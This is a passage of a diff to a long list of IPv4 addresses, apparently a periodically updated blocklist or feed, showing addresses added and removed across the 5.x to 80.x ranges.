5.75.230.240 -5.79.108.148 +5.77.20.252 5.79.66.19 5.8.10.202 +5.94.201.244 50.106.189.248 50.110.97.199 -50.115.174.114 50.116.0.62 +50.116.2.128 50.116.2.74 -50.116.27.252 -50.158.172.65 -50.17.227.121 +50.127.177.194 50.172.136.138 50.193.220.21 50.199.225.200 -50.201.141.102 -50.21.179.146 +50.202.58.109 +50.210.123.187 +50.210.90.227 50.214.100.27 -50.217.139.251 +50.215.29.170 +50.217.255.171 50.221.60.106 -50.223.176.171 50.223.37.170 -50.234.236.210 -50.237.81.83 +50.227.101.179 +50.229.145.242 +50.245.48.113 50.249.143.236 50.254.136.133 +50.255.145.253 +50.39.73.186 50.53.53.212 -50.62.139.16 -50.62.149.28 -50.62.150.245 +50.86.135.187 51.142.182.209 51.15.11.91 -51.15.165.234 -51.15.34.47 -51.158.124.112 +51.15.70.79 +51.158.103.135 +51.158.185.213 51.158.21.57 51.158.23.74 -51.158.236.232 +51.158.233.34 51.158.243.73 -51.158.245.55 -51.158.37.190 51.159.29.42 51.159.64.66 -51.161.153.48 -51.161.7.222 -51.178.137.178 +51.178.123.222 +51.178.139.28 51.178.25.97 51.178.80.168 +51.178.85.221 +51.195.102.233 +51.195.213.67 51.195.47.176 51.195.97.127 +51.210.104.139 51.210.13.76 +51.210.148.87 51.210.254.243 51.210.255.92 51.210.96.218 51.222.110.209 +51.222.12.238 +51.222.13.180 51.222.193.210 -51.222.253.10 -51.222.253.14 +51.222.253.1 51.250.106.150 51.250.67.39 -51.250.73.106 51.254.112.44 51.254.229.161 51.255.159.38 -51.38.105.29 -51.38.12.12 -51.38.12.14 -51.38.191.187 -51.38.52.128 +51.255.168.152 +51.38.113.192 51.38.57.49 -51.52.243.18 51.68.126.28 51.68.175.129 51.68.224.126 51.68.90.2 51.75.120.22 51.75.121.140 +51.75.122.244 51.75.123.107 -51.75.133.70 51.75.143.42 -51.75.170.22 +51.75.145.34 51.75.200.113 +51.75.203.114 51.75.206.240 -51.75.210.220 -51.75.222.163 -51.77.195.59 +51.75.23.93 +51.75.78.120 +51.77.185.70 51.77.245.172 51.77.245.237 -51.77.58.143 -51.77.90.182 -51.79.142.56 +51.79.133.57 51.79.146.182 -51.79.206.29 51.79.220.182 -51.81.17.187 +51.79.29.48 +51.79.65.236 +51.81.245.138 51.81.82.91 51.83.33.56 -51.83.45.110 +51.83.43.230 +51.83.69.253 51.83.72.151 -51.83.72.156 51.89.153.112 51.89.164.89 -51.89.203.3 -51.91.123.91 51.91.141.137 -51.91.253.32 51.91.78.31 51.91.98.109 +52.137.10.176 52.140.61.101 -52.153.113.155 52.160.46.145 -52.166.186.23 -52.168.167.229 -52.176.62.104 +52.172.132.150 +52.172.157.50 +52.172.30.44 +52.175.53.10 +52.177.114.234 +52.178.155.67 52.183.128.237 52.185.227.219 52.187.109.0 -52.221.234.124 +52.187.9.8 +52.192.181.143 52.227.167.147 -52.232.70.158 -52.56.42.135 +52.56.133.131 +52.56.224.130 +52.70.240.171 52.73.169.169 52.74.117.6 -54.180.47.10 -54.37.121.239 -54.37.153.81 -54.37.19.249 54.37.203.143 +54.37.205.209 54.37.228.73 54.37.93.236 54.38.50.107 54.39.118.53 54.39.144.25 -54.39.96.44 +54.39.177.44 +54.39.52.34 +54.39.99.68 +57.128.11.38 57.128.11.39 -57.128.168.36 -57.128.41.42 -57.134.18.140 -58.144.251.22 -58.144.251.23 -58.146.102.250 -58.149.239.4 +58.11.6.110 +58.144.148.20 +58.144.198.110 58.150.154.235 -58.152.140.232 -58.181.99.122 +58.152.33.18 +58.17.6.168 +58.177.78.181 +58.18.112.82 +58.18.83.205 58.186.161.180 58.186.85.94 -58.208.218.18 +58.208.110.206 +58.208.155.53 +58.208.229.238 58.208.84.245 -58.210.20.242 -58.211.23.235 +58.208.95.117 +58.210.46.186 +58.215.243.6 58.216.101.162 +58.218.195.26 +58.221.101.180 58.221.143.34 +58.221.234.154 58.222.223.142 58.228.169.113 -58.23.131.18 -58.23.221.209 -58.244.61.42 -58.246.77.82 -58.247.32.34 +58.240.214.26 +58.241.51.18 +58.246.187.126 +58.247.131.130 58.247.46.58 -58.250.36.51 -58.27.134.52 +58.252.90.138 58.27.95.2 -58.33.109.90 58.34.185.242 -58.42.233.242 -58.47.50.185 -58.50.46.12 +58.34.189.26 +58.34.82.250 58.52.198.77 -58.56.0.218 +58.56.153.2 58.57.15.29 -58.57.163.178 -58.58.130.22 +58.61.24.113 +58.65.162.226 58.75.221.5 -58.84.1.119 +58.87.104.139 +58.91.54.30 58.96.237.44 -58.99.99.132 +59.1.123.219 59.1.172.146 59.1.226.250 59.10.250.122 -59.103.236.74 +59.103.236.85 59.11.128.20 +59.11.214.75 59.11.76.201 -59.12.57.140 -59.124.205.215 -59.126.111.43 +59.11.76.203 +59.111.104.158 +59.12.160.91 +59.12.57.235 +59.126.138.8 +59.126.174.7 +59.126.49.22 +59.127.120.23 59.127.158.223 -59.127.225.61 -59.127.74.230 +59.127.70.18 +59.13.10.238 59.13.166.87 +59.135.83.71 59.14.179.68 59.14.37.194 +59.144.166.45 +59.151.210.46 +59.173.19.11 59.173.29.145 +59.18.150.155 +59.18.198.11 +59.20.169.85 59.20.40.42 -59.21.231.94 +59.21.63.188 59.22.165.6 -59.25.72.10 +59.23.39.135 +59.24.7.46 +59.26.216.102 +59.27.138.121 +59.29.135.151 59.29.145.37 -59.3.131.219 -59.3.181.130 -59.3.76.218 +59.3.87.214 59.31.131.29 59.32.209.210 -59.32.30.122 -59.36.78.129 -59.37.169.32 +59.36.145.230 +59.37.171.168 59.39.183.34 -59.39.24.254 59.4.55.162 59.4.9.69 59.44.46.206 -59.46.185.130 -59.46.223.134 -59.46.76.94 +59.46.133.202 +59.46.193.187 59.47.226.122 -59.48.40.6 +59.49.136.221 +59.49.145.133 59.49.43.217 59.50.17.5 -59.50.85.74 -59.52.130.16 59.53.173.63 59.6.236.109 +59.6.246.82 +59.61.215.86 59.7.102.28 -59.7.141.130 +59.7.18.2 59.8.33.146 +59.9.37.223 59.9.38.110 +59.92.69.22 59.97.238.133 59.98.83.57 +60.10.22.153 60.108.212.174 -60.12.48.38 -60.13.181.244 -60.154.87.110 -60.16.8.2 -60.161.14.23 -60.161.22.205 +60.14.120.107 +60.14.36.146 +60.14.36.47 +60.149.41.1 +60.161.47.177 60.164.245.201 -60.166.31.198 +60.166.158.148 +60.167.177.35 +60.167.71.8 60.169.66.113 -60.169.89.106 -60.173.114.254 -60.174.118.123 -60.174.166.150 +60.171.10.42 +60.171.220.86 +60.172.8.136 +60.173.251.205 +60.173.84.81 60.175.97.119 -60.178.223.190 -60.19.10.220 -60.190.207.67 60.191.125.35 -60.199.224.2 +60.191.137.103 60.199.224.55 -60.205.213.93 -60.21.215.149 +60.205.225.151 60.213.9.146 +60.214.140.78 60.214.209.221 +60.216.3.126 60.217.75.69 -60.219.157.22 +60.220.185.149 60.220.185.22 -60.220.185.35 -60.220.253.226 -60.221.224.220 +60.220.242.170 60.221.229.154 60.221.58.71 -60.222.233.213 +60.221.61.135 +60.223.233.250 +60.223.245.120 +60.223.250.50 60.223.251.251 -60.223.255.130 -60.242.151.51 +60.247.48.242 60.247.60.68 -60.249.242.228 -60.250.132.192 -60.250.139.180 +60.250.201.227 +60.250.204.150 60.251.169.196 60.255.181.197 -60.28.24.244 -60.28.60.49 +60.255.181.202 +60.28.144.162 +60.29.127.226 +60.29.148.78 60.31.249.131 60.51.26.189 -60.8.213.170 60.84.19.111 60.9.238.23 61.100.180.44 -61.111.11.240 61.111.131.76 -61.111.6.242 -61.130.54.42 +61.111.6.246 +61.131.137.72 61.133.220.198 -61.133.254.162 61.136.144.167 -61.138.113.187 -61.14.103.131 -61.147.66.86 +61.143.59.18 +61.147.209.31 +61.149.84.26 61.150.87.163 -61.153.208.38 -61.158.134.148 61.159.128.228 -61.160.119.116 -61.160.9.18 -61.162.52.98 +61.168.183.17 61.170.205.217 -61.171.52.88 +61.175.121.210 61.177.172.136 61.177.172.140 61.177.172.157 61.177.172.160 +61.177.172.179 61.177.172.185 61.177.173.45 61.177.54.107 +61.178.138.10 +61.178.231.102 61.178.65.2 -61.183.47.249 -61.184.160.34 -61.185.137.26 -61.185.50.166 +61.178.84.137 61.186.136.36 +61.19.228.102 +61.191.103.104 +61.191.254.170 +61.2.243.254 +61.216.77.112 +61.216.78.120 61.219.171.213 61.219.18.151 61.221.219.150 -61.238.103.181 +61.240.138.240 +61.240.138.34 61.240.138.48 +61.240.140.41 61.240.140.53 -61.241.114.78 -61.244.80.172 +61.241.133.190 61.246.1.254 -61.246.177.254 +61.246.194.44 +61.246.34.19 +61.246.36.111 61.246.38.154 -61.247.237.43 -61.255.180.71 +61.40.7.143 61.42.20.175 -61.49.49.6 -61.51.253.30 -61.6.59.211 61.63.206.14 -61.73.144.186 61.73.179.53 61.74.224.26 61.75.76.30 -61.76.169.138 +61.76.174.77 61.77.196.111 -61.77.39.173 61.78.158.68 61.79.225.135 61.79.225.136 -61.79.48.55 -61.79.92.220 61.80.1.19 61.80.179.118 -61.80.248.114 -61.81.115.70 -61.81.171.41 +61.81.143.68 61.81.186.6 +61.82.245.60 61.83.148.111 61.84.162.66 -61.85.193.173 61.85.85.246 -61.91.180.166 61.93.186.125 61.99.254.192 62.103.71.173 62.105.137.105 -62.11.223.21 -62.122.184.103 -62.122.184.166 62.122.184.188 62.122.184.189 62.122.184.190 @@ -8718,353 +8593,448 @@ 62.122.184.23 62.122.184.37 62.122.184.71 -62.133.168.47 -62.138.6.153 -62.16.103.46 -62.171.143.26 +62.133.45.2 62.171.154.74 62.171.169.170 -62.171.179.71 -62.171.189.139 -62.193.106.227 -62.20.249.236 +62.171.180.142 +62.182.85.70 62.201.228.210 62.204.41.242 -62.210.10.39 -62.210.114.210 +62.204.41.80 62.210.214.52 62.210.24.128 -62.212.230.38 62.233.50.217 -62.234.32.63 -62.244.233.52 +62.234.181.214 +62.28.222.221 +62.31.223.5 62.33.81.160 +62.48.180.4 62.74.140.248 62.74.208.58 -62.84.126.112 -62.89.18.2 +62.8.79.2 +62.84.116.11 63.143.99.121 63.217.87.100 63.250.40.246 63.40.114.84 63.41.140.213 +63.41.172.101 +63.41.174.20 63.41.9.206 -63.41.9.210 -64.112.72.102 -64.204.148.198 +64.110.97.198 +64.119.29.157 64.207.177.82 -64.225.22.216 64.225.25.59 -64.225.29.69 64.225.50.45 -64.225.67.231 64.226.101.100 -64.226.103.2 64.226.104.28 -64.226.112.50 64.226.113.231 -64.226.116.172 -64.226.120.211 64.226.74.194 +64.226.76.4 64.226.85.33 -64.226.89.3 -64.226.91.17 64.226.94.83 -64.227.101.98 +64.226.98.14 64.227.11.88 -64.227.112.153 +64.227.112.120 64.227.122.198 -64.227.126.135 +64.227.126.250 64.227.128.104 -64.227.13.96 64.227.142.1 -64.227.145.92 -64.227.146.163 -64.227.146.37 64.227.150.10 64.227.150.86 -64.227.152.218 -64.227.154.99 -64.227.158.155 64.227.162.139 -64.227.166.170 -64.227.176.121 64.227.177.54 64.227.178.234 64.227.18.122 -64.227.180.77 64.227.185.138 -64.227.28.246 +64.227.25.222 +64.227.30.80 64.227.35.112 64.227.41.39 -64.227.48.174 -64.227.56.67 64.227.7.1 +64.227.77.204 +64.227.78.41 64.227.97.195 +64.227.99.233 64.235.37.62 64.31.63.50 -64.42.179.59 +64.62.197.10 +64.62.197.101 +64.62.197.102 +64.62.197.103 +64.62.197.107 +64.62.197.11 +64.62.197.110 +64.62.197.111 +64.62.197.112 +64.62.197.114 +64.62.197.115 +64.62.197.116 +64.62.197.117 +64.62.197.118 +64.62.197.12 +64.62.197.122 +64.62.197.123 +64.62.197.124 +64.62.197.125 +64.62.197.126 +64.62.197.127 +64.62.197.13 +64.62.197.130 +64.62.197.133 +64.62.197.134 +64.62.197.137 +64.62.197.138 +64.62.197.140 +64.62.197.141 +64.62.197.142 +64.62.197.144 +64.62.197.149 +64.62.197.15 +64.62.197.150 +64.62.197.152 +64.62.197.154 +64.62.197.155 +64.62.197.156 64.62.197.157 -64.62.197.183 -64.62.197.184 -64.62.197.187 -64.62.197.188 +64.62.197.158 +64.62.197.159 +64.62.197.16 +64.62.197.160 +64.62.197.161 +64.62.197.164 +64.62.197.165 +64.62.197.167 +64.62.197.168 +64.62.197.169 +64.62.197.171 +64.62.197.172 +64.62.197.173 +64.62.197.174 +64.62.197.177 +64.62.197.178 +64.62.197.179 +64.62.197.18 +64.62.197.180 +64.62.197.181 +64.62.197.182 +64.62.197.189 +64.62.197.19 +64.62.197.190 +64.62.197.192 +64.62.197.195 +64.62.197.196 +64.62.197.198 +64.62.197.199 +64.62.197.2 +64.62.197.20 64.62.197.200 -64.62.197.33 +64.62.197.201 +64.62.197.202 +64.62.197.203 +64.62.197.206 +64.62.197.21 +64.62.197.210 +64.62.197.212 +64.62.197.214 +64.62.197.216 +64.62.197.218 +64.62.197.219 +64.62.197.22 +64.62.197.220 +64.62.197.223 +64.62.197.225 +64.62.197.227 +64.62.197.228 +64.62.197.229 +64.62.197.23 +64.62.197.232 +64.62.197.234 +64.62.197.236 +64.62.197.238 +64.62.197.239 +64.62.197.241 +64.62.197.25 +64.62.197.26 +64.62.197.27 +64.62.197.29 +64.62.197.3 +64.62.197.32 64.62.197.35 -64.62.197.40 +64.62.197.36 +64.62.197.39 +64.62.197.41 +64.62.197.42 +64.62.197.43 64.62.197.44 -64.90.40.100 -64.90.48.201 -64.98.114.112 -65.108.1.41 -65.109.169.71 -65.126.41.34 -65.181.91.114 -65.181.95.134 -65.188.132.64 -65.2.142.23 -65.20.138.101 -65.20.139.138 -65.20.150.51 -65.20.151.176 -65.20.152.128 -65.20.178.54 -65.20.212.120 -65.20.214.198 -65.223.214.60 -65.254.18.82 +64.62.197.45 +64.62.197.47 +64.62.197.50 +64.62.197.51 +64.62.197.52 +64.62.197.53 +64.62.197.54 +64.62.197.57 +64.62.197.58 +64.62.197.59 +64.62.197.60 +64.62.197.64 +64.62.197.65 +64.62.197.67 +64.62.197.70 +64.62.197.71 +64.62.197.72 +64.62.197.73 +64.62.197.74 +64.62.197.78 +64.62.197.79 +64.62.197.8 +64.62.197.80 +64.62.197.83 +64.62.197.86 +64.62.197.88 +64.62.197.89 +64.62.197.9 +64.62.197.90 +64.62.197.92 +64.62.197.93 +64.62.197.94 +64.62.197.97 +64.62.197.99 +65.1.135.157 +65.154.226.168 +65.181.124.182 +65.181.73.155 +65.2.10.245 +65.20.155.223 +65.20.165.44 +65.20.192.5 +65.254.92.214 65.254.93.144 -65.32.204.227 +65.27.229.213 +65.49.1.10 65.49.1.100 65.49.1.101 -65.49.1.103 65.49.1.104 65.49.1.106 65.49.1.107 +65.49.1.108 65.49.1.109 -65.49.1.110 +65.49.1.11 65.49.1.111 -65.49.1.112 65.49.1.114 65.49.1.115 65.49.1.116 65.49.1.117 65.49.1.119 65.49.1.12 +65.49.1.13 +65.49.1.14 +65.49.1.15 65.49.1.16 65.49.1.17 -65.49.1.18 -65.49.1.19 65.49.1.20 +65.49.1.21 65.49.1.22 -65.49.1.23 65.49.1.24 +65.49.1.25 65.49.1.26 -65.49.1.27 65.49.1.28 -65.49.1.30 -65.49.1.32 +65.49.1.29 65.49.1.33 -65.49.1.35 +65.49.1.34 65.49.1.36 65.49.1.39 -65.49.1.40 -65.49.1.41 +65.49.1.42 +65.49.1.43 65.49.1.44 -65.49.1.47 -65.49.1.48 +65.49.1.45 +65.49.1.46 +65.49.1.49 +65.49.1.51 65.49.1.52 65.49.1.54 65.49.1.55 65.49.1.56 -65.49.1.57 65.49.1.58 +65.49.1.59 65.49.1.60 -65.49.1.61 -65.49.1.62 -65.49.1.63 65.49.1.64 65.49.1.66 +65.49.1.67 +65.49.1.68 65.49.1.69 -65.49.1.70 +65.49.1.71 +65.49.1.72 65.49.1.73 65.49.1.74 -65.49.1.75 65.49.1.76 65.49.1.77 -65.49.1.78 +65.49.1.79 65.49.1.81 -65.49.1.82 -65.49.1.83 65.49.1.85 +65.49.1.86 65.49.1.89 +65.49.1.90 65.49.1.91 65.49.1.92 -65.49.1.94 -65.49.1.96 +65.49.1.93 +65.49.1.95 +65.49.1.97 65.49.1.98 -65.49.1.99 +65.49.196.227 65.49.20.100 65.49.20.102 65.49.20.105 65.49.20.106 -65.49.20.107 -65.49.20.109 -65.49.20.110 -65.49.20.112 -65.49.20.113 -65.49.20.118 -65.49.20.120 -65.49.20.121 +65.49.20.116 +65.49.20.117 65.49.20.122 -65.49.20.125 +65.49.20.123 +65.49.20.66 65.49.20.67 65.49.20.69 +65.49.20.70 65.49.20.73 -65.49.20.77 +65.49.20.74 +65.49.20.76 65.49.20.78 -65.49.20.79 65.49.20.80 -65.49.20.81 -65.49.20.82 +65.49.20.84 +65.49.20.85 65.49.20.86 +65.49.20.88 65.49.20.89 -65.49.20.90 65.49.20.91 -65.49.20.92 65.49.20.93 +65.49.20.95 65.49.20.96 +65.49.20.97 +65.49.20.99 65.49.219.68 -65.49.235.46 65.60.27.251 65.60.34.98 -65.73.231.122 -66.115.121.156 -66.115.165.12 +66.115.103.30 66.130.241.129 66.150.66.153 +66.168.212.164 66.175.220.105 -66.175.44.25 +66.175.44.24 +66.175.44.32 +66.175.44.34 66.175.44.55 -66.175.44.62 -66.189.122.244 +66.175.44.61 +66.175.44.69 +66.188.196.39 +66.198.209.96 +66.215.80.221 +66.227.227.212 66.240.192.138 66.240.205.34 66.240.236.109 66.240.236.116 66.240.236.119 -66.249.155.244 -66.25.247.72 -66.27.166.127 66.29.155.27 66.36.234.198 66.65.152.98 66.66.137.168 66.70.208.241 -66.76.221.49 -66.96.206.214 -66.98.112.247 -67.100.123.226 +66.76.190.211 +66.94.108.179 +66.96.204.197 +66.96.237.170 67.131.167.218 -67.173.199.89 -67.203.0.82 -67.203.192.24 -67.205.58.105 -67.21.71.196 +67.166.175.61 +67.174.80.230 +67.205.11.198 +67.205.177.222 +67.205.187.255 +67.207.83.244 67.211.72.158 -67.216.202.238 -67.216.211.177 +67.249.167.217 67.250.187.33 +67.254.229.75 67.53.58.202 -67.63.150.26 -68.111.93.31 +68.114.48.249 68.116.41.2 +68.142.42.100 68.151.226.101 68.168.132.152 +68.168.142.91 +68.174.46.227 68.178.160.133 68.178.161.31 -68.178.161.32 68.178.162.248 68.178.163.67 +68.178.166.155 +68.178.168.70 68.178.168.84 -68.178.227.127 -68.183.10.68 -68.183.105.114 68.183.105.14 68.183.114.164 -68.183.115.18 +68.183.122.217 68.183.132.72 68.183.140.240 68.183.145.59 68.183.156.109 -68.183.161.41 -68.183.175.77 68.183.177.175 68.183.177.69 -68.183.179.218 68.183.193.242 -68.183.21.105 -68.183.211.134 +68.183.20.84 68.183.212.10 -68.183.219.150 -68.183.224.118 68.183.224.244 +68.183.229.218 +68.183.232.114 68.183.232.27 -68.183.34.68 -68.183.46.135 +68.183.24.108 +68.183.5.40 +68.183.56.198 68.183.6.177 68.183.64.176 -68.183.64.48 68.183.76.200 -68.183.78.141 68.183.80.172 68.183.87.207 68.183.88.186 68.183.92.87 68.183.93.52 -68.235.48.108 -68.235.52.36 -68.66.207.43 +68.183.95.45 +68.219.189.74 +68.32.112.107 +68.58.238.99 68.74.131.125 68.82.11.149 69.112.204.55 -69.162.243.124 -69.163.225.135 -69.164.216.170 -69.165.74.47 -69.165.77.211 -69.167.167.177 +69.118.227.246 +69.124.240.40 +69.163.224.108 69.171.78.20 -69.196.155.217 -69.202.138.36 -69.42.66.94 +69.216.19.140 +69.234.53.208 +69.237.16.76 +69.42.244.192 +69.43.139.165 69.49.228.174 +69.49.230.173 69.49.230.238 -69.49.231.54 69.49.235.162 +69.49.245.30 69.49.246.187 69.49.247.219 69.55.49.7 69.57.161.253 -69.63.64.21 +69.85.69.106 70.114.142.208 +70.120.1.97 70.121.81.139 70.125.34.20 -70.161.210.87 70.169.84.74 -70.177.105.131 -70.178.91.80 +70.248.23.96 +70.28.206.114 70.54.182.130 70.55.145.6 -71.167.101.16 -71.167.101.22 -71.19.144.240 +70.77.225.190 +70.88.3.29 +71.128.32.25 71.196.179.208 -71.201.175.50 -71.25.118.117 -71.45.150.61 -71.58.131.162 71.6.134.230 71.6.134.231 71.6.134.232 @@ -9072,12 +9042,14 @@ 71.6.134.234 71.6.134.235 71.6.135.131 +71.6.146.185 +71.6.146.186 71.6.147.254 71.6.158.166 71.6.165.200 71.6.167.142 71.6.199.23 -71.6.231.8 +71.6.231.186 71.6.231.81 71.6.231.83 71.6.231.87 @@ -9091,87 +9063,99 @@ 71.6.232.28 71.66.84.179 71.67.66.225 +71.67.72.74 +71.80.161.61 71.86.89.235 71.90.30.53 +72.0.133.248 72.134.115.78 72.135.52.8 -72.167.44.240 -72.167.52.254 -72.167.55.58 -72.167.57.110 +72.14.179.98 72.17.53.251 -72.177.241.13 +72.17.90.246 +72.176.181.35 +72.179.206.31 +72.183.28.26 72.225.145.54 -72.38.207.5 -72.46.204.201 -72.49.64.149 -72.89.217.246 +72.225.161.204 +72.229.132.17 +72.240.125.133 +72.28.23.155 +72.5.34.77 +72.69.234.92 72.89.22.127 -73.124.92.180 -73.149.240.9 +73.0.132.160 73.15.203.143 73.167.145.20 -73.199.208.99 +73.185.35.67 73.213.110.116 -73.28.193.54 -73.5.193.236 -74.124.207.50 -74.207.237.114 +73.246.224.152 +73.46.243.108 +74.102.228.32 +74.111.163.220 +74.135.206.15 +74.205.249.125 74.208.125.27 -74.208.31.108 -74.208.95.200 +74.208.172.236 +74.208.87.66 74.211.28.246 -74.212.184.254 74.234.98.245 -74.249.156.221 +74.235.222.29 74.39.233.253 -74.40.19.68 -74.62.105.162 -74.62.145.76 +74.64.58.42 +74.73.25.246 +74.76.133.55 +74.81.38.26 74.82.195.39 -74.82.47.194 -74.82.47.51 -74.82.47.56 74.84.150.6 74.84.150.70 74.94.234.151 -74.94.56.139 -75.118.49.220 -75.119.133.23 -75.119.218.236 +75.138.14.2 +75.144.45.17 +75.177.215.42 +75.185.37.38 75.51.10.234 75.80.10.175 -75.82.225.11 +75.82.154.211 +75.86.148.172 75.89.210.84 -76.14.78.133 -76.169.209.172 +76.126.238.37 +76.139.238.61 76.169.64.240 -76.175.48.16 76.176.192.135 -76.184.170.108 +76.82.222.37 76.82.66.174 +76.95.32.130 +77.105.146.42 77.105.147.237 77.109.32.245 +77.120.163.173 77.138.247.245 77.170.59.124 -77.224.92.128 -77.235.99.148 -77.240.33.35 +77.234.40.122 +77.239.213.0 +77.240.33.59 77.243.181.54 -77.243.80.83 -77.32.67.106 +77.37.150.155 +77.37.168.42 77.38.98.163 77.40.0.17 +77.40.220.2 +77.44.110.101 77.44.69.250 -77.48.29.2 -77.54.54.54 -77.65.168.51 +77.52.19.44 +77.53.43.24 +77.53.90.144 +77.53.91.135 +77.53.91.200 77.68.79.72 +77.74.30.86 +77.74.78.44 77.76.37.51 -77.81.180.97 -77.82.90.234 +77.82.90.210 77.83.93.138 77.85.216.134 +77.89.96.128 77.90.185.10 77.90.185.121 77.90.185.122 @@ -9184,526 +9168,509 @@ 77.90.185.18 77.90.185.19 77.90.185.71 +77.91.78.115 77.91.78.129 +77.91.84.54 77.91.85.147 +77.91.86.95 +77.91.87.79 78.108.177.50 +78.108.177.54 +78.111.145.180 +78.111.249.76 78.128.112.205 78.128.113.250 78.128.113.34 78.128.113.94 78.133.30.102 -78.134.38.138 -78.135.77.132 +78.135.67.221 +78.135.67.50 +78.135.67.6 78.142.18.92 +78.186.133.164 78.186.153.90 -78.186.156.212 -78.186.202.172 -78.188.74.250 -78.189.90.106 -78.25.105.127 -78.46.109.172 -78.72.164.51 -78.83.50.156 -78.89.152.189 -78.89.186.203 -79.10.192.56 -79.10.24.181 +78.187.86.131 +78.30.26.84 +78.39.218.210 +78.39.234.59 +78.66.226.53 +78.89.152.190 +78.89.154.22 79.104.0.82 79.106.12.211 -79.106.226.235 -79.106.73.114 79.110.48.172 +79.110.48.218 79.110.48.83 +79.110.48.90 79.110.49.193 -79.110.49.194 79.110.49.208 79.110.49.220 -79.110.49.221 -79.110.49.241 79.110.49.242 79.110.49.245 79.110.49.98 -79.124.40.78 +79.110.62.245 +79.111.0.58 +79.124.56.202 79.124.58.130 79.124.58.166 79.124.58.78 -79.124.62.106 79.124.62.130 -79.124.62.202 79.124.62.62 79.124.62.78 79.124.62.82 79.124.62.86 +79.124.8.3 +79.129.204.181 79.129.29.237 -79.132.125.226 79.133.49.111 -79.137.195.103 +79.137.196.145 79.137.196.210 +79.137.196.237 79.137.196.40 79.137.198.143 -79.137.202.87 79.137.203.226 79.137.34.148 79.137.35.194 -79.153.226.233 -79.153.227.117 -79.153.32.142 -79.155.86.112 +79.137.65.46 +79.140.22.146 +79.155.94.205 79.175.160.120 79.175.172.61 79.20.226.105 -79.253.243.200 -79.9.140.145 -8.129.212.192 -8.131.70.17 -8.136.104.235 -8.208.79.119 -8.208.86.182 -8.209.240.18 -8.209.249.229 -8.209.68.21 -8.209.69.246 +79.224.101.37 +79.49.28.239 +79.9.102.168 +8.130.10.146 +8.130.33.78 +8.140.21.58 +8.142.111.3 +8.142.68.87 +8.20.204.147 +8.208.10.94 +8.208.12.226 +8.208.80.202 +8.208.87.112 +8.209.251.108 8.209.96.179 -8.210.105.62 -8.210.148.17 -8.210.170.98 -8.213.129.130 -8.213.197.220 -8.213.199.252 -8.213.20.64 +8.210.123.17 +8.210.161.5 +8.210.167.33 +8.210.208.44 +8.210.67.251 +8.211.162.45 +8.211.193.107 +8.213.16.250 +8.213.197.49 8.213.22.165 -8.213.23.197 8.213.23.69 -8.213.26.128 +8.213.23.89 8.215.26.47 -8.215.38.34 8.215.43.101 -8.215.65.177 -8.215.69.58 +8.215.45.250 +8.217.109.235 8.217.118.75 -8.217.122.113 -8.217.152.154 -8.217.52.177 -8.217.62.164 8.218.1.5 -8.218.110.83 +8.218.101.123 +8.218.192.91 8.218.204.87 -8.218.210.78 -8.218.83.159 -8.218.86.0 +8.218.207.231 +8.218.214.1 +8.218.48.143 8.218.89.123 -8.219.102.174 -8.219.103.16 -8.219.109.178 -8.219.111.115 -8.219.134.77 +8.219.101.174 +8.219.105.103 +8.219.114.145 +8.219.135.27 8.219.135.30 +8.219.136.127 8.219.145.96 -8.219.150.253 +8.219.150.234 8.219.151.146 -8.219.152.230 8.219.158.222 +8.219.165.232 +8.219.165.240 8.219.165.78 -8.219.167.236 -8.219.169.63 -8.219.171.80 -8.219.175.130 -8.219.179.133 +8.219.167.92 8.219.180.124 8.219.180.250 8.219.183.34 -8.219.185.96 -8.219.2.198 -8.219.200.84 +8.219.186.121 +8.219.190.132 +8.219.198.1 +8.219.201.169 +8.219.202.109 8.219.202.220 -8.219.206.180 -8.219.211.18 -8.219.216.142 +8.219.209.131 +8.219.213.210 8.219.217.119 -8.219.217.233 +8.219.217.47 +8.219.220.148 8.219.229.12 -8.219.229.170 -8.219.230.107 8.219.234.194 -8.219.236.199 -8.219.238.163 -8.219.241.123 -8.219.243.102 -8.219.243.203 -8.219.246.42 -8.219.250.11 -8.219.252.10 +8.219.236.45 +8.219.238.192 +8.219.240.191 +8.219.241.113 +8.219.249.116 8.219.254.48 8.219.255.247 -8.219.40.77 -8.219.50.197 -8.219.54.186 -8.219.59.71 +8.219.51.31 8.219.60.174 -8.219.60.77 8.219.64.126 -8.219.65.51 -8.219.68.62 -8.219.7.201 -8.219.83.85 -8.222.128.163 -8.222.132.198 -8.222.132.240 -8.222.135.239 -8.222.137.241 -8.222.139.60 -8.222.139.80 -8.222.140.207 -8.222.143.227 -8.222.146.130 -8.222.149.148 -8.222.152.252 -8.222.152.5 +8.219.79.23 +8.219.94.104 +8.222.129.101 +8.222.136.15 +8.222.136.21 +8.222.138.169 +8.222.139.141 +8.222.139.75 +8.222.146.233 +8.222.149.158 +8.222.151.6 +8.222.152.152 +8.222.152.157 8.222.154.232 -8.222.155.135 -8.222.155.49 -8.222.159.155 -8.222.159.210 -8.222.160.61 -8.222.168.157 -8.222.169.164 -8.222.169.20 -8.222.169.239 -8.222.170.238 -8.222.173.71 -8.222.174.150 -8.222.174.229 -8.222.176.53 -8.222.179.111 -8.222.181.195 -8.222.182.186 +8.222.155.100 +8.222.164.74 +8.222.165.45 +8.222.170.209 +8.222.172.253 +8.222.177.99 8.222.183.199 -8.222.184.247 -8.222.185.0 -8.222.185.246 -8.222.188.229 -8.222.188.244 -8.222.192.14 +8.222.183.203 +8.222.190.119 +8.222.191.74 +8.222.192.141 8.222.195.5 -8.222.202.243 -8.222.204.75 +8.222.201.35 +8.222.202.173 +8.222.202.25 +8.222.203.60 +8.222.209.0 +8.222.209.103 8.222.211.110 -8.222.214.116 -8.222.216.90 -8.222.224.164 -8.222.225.227 -8.222.227.87 +8.222.223.100 +8.222.228.172 +8.222.229.84 +8.222.230.242 8.222.231.12 -8.222.247.229 -8.222.249.144 -8.222.249.19 -8.222.250.117 -8.222.253.12 -80.106.186.239 +8.222.240.38 +8.222.241.66 +8.222.244.108 +8.222.250.254 +8.222.253.11 80.107.50.128 +80.122.5.206 +80.125.71.115 +80.15.168.167 80.158.43.11 80.179.114.175 +80.19.204.177 80.191.90.136 +80.21.208.94 80.210.27.29 -80.227.147.94 -80.227.99.162 +80.227.107.250 80.229.18.62 -80.233.12.110 -80.233.12.97 +80.251.210.73 80.251.216.10 +80.253.31.232 80.66.75.139 -80.66.83.165 -80.66.83.77 -80.66.88.204 -80.66.88.211 -80.66.88.41 +80.66.83.132 80.66.88.53 80.67.167.81 80.68.7.179 -80.68.7.50 +80.76.195.26 80.76.51.104 80.76.51.235 80.76.51.241 80.76.51.34 80.76.51.48 80.76.51.74 +80.76.51.89 +80.80.218.227 80.82.35.52 80.82.47.187 